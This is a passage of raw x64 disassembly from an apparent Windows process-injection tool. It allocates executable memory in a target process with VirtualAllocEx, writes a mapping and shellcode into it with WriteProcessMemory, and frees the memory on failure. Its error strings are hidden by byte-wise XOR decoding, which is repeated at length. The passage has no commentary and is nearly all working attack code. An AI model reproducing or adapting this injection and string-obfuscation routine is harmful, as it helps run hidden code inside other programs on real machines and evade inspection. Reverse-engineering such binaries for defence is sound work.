movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0x30
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xa01], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0x31
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xa02], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0x32
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xa03], al
lea rax, [rsp + 0xa04]
lea rax, [rsp + 0xa04]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0xd8], 0
jmp 0x1400738f6
mov rax, qword [rsp + 0xd8]
inc rax
mov qword [rsp + 0xd8], rax
cmp qword [rsp + 0xd8], 0x33
jae 0x14007395a
mov rax, qword [rsp + 0xd8]
lea rax, [rsp + rax + 0x9d1]
mov qword [rsp + 0x2b0], rax
mov rax, qword [rsp + 0x2b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x9d0]
xor eax, ecx
mov byte [rsp + 0x54], al
mov rax, qword [rsp + 0xd8]
lea rax, [rsp + rax + 0x9d1]
mov qword [rsp + 0x2b8], rax
mov rax, qword [rsp + 0x2b8]
mov cl, byte [rsp + 0x54]
mov byte [rax], cl
jmp 0x1400738e3
mov eax, 0x33
imul rax, rax, 1
lea rax, [rsp + rax + 0x9d1]
mov qword [rsp + 0x2c0], rax
mov rax, qword [rsp + 0x2c0]
mov byte [rax], 0
lea rax, [rsp + 0x9d1]
mov qword [rsp + 0x2c8], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, qword [rsp + 0x2c8]
call fcn.140005fa4
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x14007b523
mov qword [rsp + 0x20], 0
mov r9d, 0x40
lea r8, [rsp + 0x5c0]
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140073efe
mov byte [rsp + 0x758], 0x78
movsx eax, byte [rsp + 0x758]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.Cant_write_mapping_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x759], al
movsx eax, byte [rsp + 0x758]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.Cant_write_mapping_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x75a], al
movsx eax, byte [rsp + 0x758]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.Cant_write_mapping_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x75b], al
movsx eax, byte [rsp + 0x758]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.Cant_write_mapping_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x75c], al
movsx eax, byte [rsp + 0x758]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.Cant_write_mapping_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x75d], al
movsx eax, byte [rsp + 0x758]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.Cant_write_mapping_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x75e], al
movsx eax, byte [rsp + 0x758]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.Cant_write_mapping_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x75f], al
movsx eax, byte [rsp + 0x758]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.Cant_write_mapping_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x760], al
movsx eax, byte [rsp + 0x758]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.Cant_write_mapping_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x761], al
movsx eax, byte [rsp + 0x758]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.Cant_write_mapping_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x762], al
movsx eax, byte [rsp + 0x758]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.Cant_write_mapping_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x763], al
movsx eax, byte [rsp + 0x758]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.Cant_write_mapping_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x764], al
movsx eax, byte [rsp + 0x758]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.Cant_write_mapping_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x765], al
movsx eax, byte [rsp + 0x758]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.Cant_write_mapping_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x766], al
movsx eax, byte [rsp + 0x758]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.Cant_write_mapping_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x767], al
movsx eax, byte [rsp + 0x758]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.Cant_write_mapping_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x768], al
movsx eax, byte [rsp + 0x758]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.Cant_write_mapping_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x769], al
movsx eax, byte [rsp + 0x758]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.Cant_write_mapping_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x76a], al
movsx eax, byte [rsp + 0x758]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str.Cant_write_mapping_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x76b], al
movsx eax, byte [rsp + 0x758]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str.Cant_write_mapping_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x76c], al
movsx eax, byte [rsp + 0x758]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str.Cant_write_mapping_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x76d], al
movsx eax, byte [rsp + 0x758]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str.Cant_write_mapping_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x76e], al
movsx eax, byte [rsp + 0x758]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str.Cant_write_mapping_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x76f], al
movsx eax, byte [rsp + 0x758]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str.Cant_write_mapping_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x770], al
movsx eax, byte [rsp + 0x758]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str.Cant_write_mapping_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x771], al
lea rax, [rsp + 0x772]
lea rax, [rsp + 0x772]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0xe0], 0
jmp 0x140073e0f
mov rax, qword [rsp + 0xe0]
inc rax
mov qword [rsp + 0xe0], rax
cmp qword [rsp + 0xe0], 0x19
jae 0x140073e73
mov rax, qword [rsp + 0xe0]
lea rax, [rsp + rax + 0x759]
mov qword [rsp + 0x2d0], rax
mov rax, qword [rsp + 0x2d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x758]
xor eax, ecx
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0xe0]
lea rax, [rsp + rax + 0x759]
mov qword [rsp + 0x2d8], rax
mov rax, qword [rsp + 0x2d8]
mov cl, byte [rsp + 0x55]
mov byte [rax], cl
jmp 0x140073dfc
mov eax, 0x19
imul rax, rax, 1
lea rax, [rsp + rax + 0x759]
mov qword [rsp + 0x2e0], rax
mov rax, qword [rsp + 0x2e0]
mov byte [rax], 0
lea rax, [rsp + 0x759]
mov qword [rsp + 0x2e8], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, qword [rsp + 0x2e8]
call fcn.140005fa4
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x14007b523
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
xor edx, edx
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x88], rax
cmp qword [rsp + 0x88], 0
jne 0x140074748
mov byte [rsp + 0x938], 0x16
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x939], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x93a], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x93b], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x93c], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x93d], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x93e], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x93f], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x940], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x941], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x942], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x943], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x944], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x945], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x946], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x947], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x948], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x949], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x94a], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x94b], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x94c], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x94d], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x94e], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x94f], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x950], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x951], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 0x19
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x952], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 0x1a
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x953], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 0x1b
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x954], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 0x1c
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x955], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 0x1d
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x956], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 0x1e
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x957], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 0x1f
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x958], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 0x20
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x959], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 0x21
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x95a], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 0x22
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x95b], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 0x23
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x95c], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 0x24
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x95d], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 0x25
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x95e], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 0x26
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x95f], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 0x27
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x960], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 0x28
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x961], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 0x29
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x962], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 0x2a
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x963], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 0x2b
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x964], al
movsx eax, byte [rsp + 0x938]
mov ecx, 1
imul rcx, rcx, 0x2c
lea rdx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x965], al
lea rax, [rsp + 0x966]
lea rax, [rsp + 0x966]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0xe8], 0
jmp 0x140074659
mov rax, qword [rsp + 0xe8]
inc rax
mov qword [rsp + 0xe8], rax
cmp qword [rsp + 0xe8], 0x2d
jae 0x1400746bd
mov rax, qword [rsp + 0xe8]
lea rax, [rsp + rax + 0x939]
mov qword [rsp + 0x2f0], rax
mov rax, qword [rsp + 0x2f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x938]
xor eax, ecx
mov byte [rsp + 0x56], al
mov rax, qword [rsp + 0xe8]
lea rax, [rsp + rax + 0x939]
mov qword [rsp + 0x2f8], rax
mov rax, qword [rsp + 0x2f8]
mov cl, byte [rsp + 0x56]
mov byte [rax], cl
jmp 0x140074646
mov eax, 0x2d
imul rax, rax, 1
lea rax, [rsp + rax + 0x939]
mov qword [rsp + 0x300], rax
mov rax, qword [rsp + 0x300]
mov byte [rax], 0
lea rax, [rsp + 0x939]
mov qword [rsp + 0x308], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, qword [rsp + 0x308]
call fcn.140005fa4
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x14007b523
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
lea r8, [0x14007b53c]
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140074cec
mov byte [rsp + 0x798], 0x45
movsx eax, byte [rsp + 0x798]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.Cant_write_shellcode_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x799], al
movsx eax, byte [rsp + 0x798]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.Cant_write_shellcode_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x79a], al
movsx eax, byte [rsp + 0x798]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.Cant_write_shellcode_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x79b], al
movsx eax, byte [rsp + 0x798]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.Cant_write_shellcode_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x79c], al
movsx eax, byte [rsp + 0x798]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.Cant_write_shellcode_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x79d], al
movsx eax, byte [rsp + 0x798]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.Cant_write_shellcode_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x79e], al
movsx eax, byte [rsp + 0x798]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.Cant_write_shellcode_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x79f], al
movsx eax, byte [rsp + 0x798]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.Cant_write_shellcode_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7a0], al
movsx eax, byte [rsp + 0x798]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.Cant_write_shellcode_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7a1], al
movsx eax, byte [rsp + 0x798]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.Cant_write_shellcode_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7a2], al
movsx eax, byte [rsp + 0x798]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.Cant_write_shellcode_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7a3], al
movsx eax, byte [rsp + 0x798]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.Cant_write_shellcode_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7a4], al
movsx eax, byte [rsp + 0x798]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.Cant_write_shellcode_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7a5], al
movsx eax, byte [rsp + 0x798]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.Cant_write_shellcode_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7a6], al
movsx eax, byte [rsp + 0x798]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.Cant_write_shellcode_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7a7], al
movsx eax, byte [rsp + 0x798]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.Cant_write_shellcode_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7a8], al
movsx eax, byte [rsp + 0x798]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.Cant_write_shellcode_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7a9], al
movsx eax, byte [rsp + 0x798]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.Cant_write_shellcode_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7aa], al
movsx eax, byte [rsp + 0x798]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str.Cant_write_shellcode_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7ab], al
movsx eax, byte [rsp + 0x798]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str.Cant_write_shellcode_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7ac], al
movsx eax, byte [rsp + 0x798]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str.Cant_write_shellcode_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7ad], al
movsx eax, byte [rsp + 0x798]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str.Cant_write_shellcode_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7ae], al
movsx eax, byte [rsp + 0x798]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str.Cant_write_shellcode_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7af], al
movsx eax, byte [rsp + 0x798]
mov ecx, 1
imul rcx, rcx, 0x17
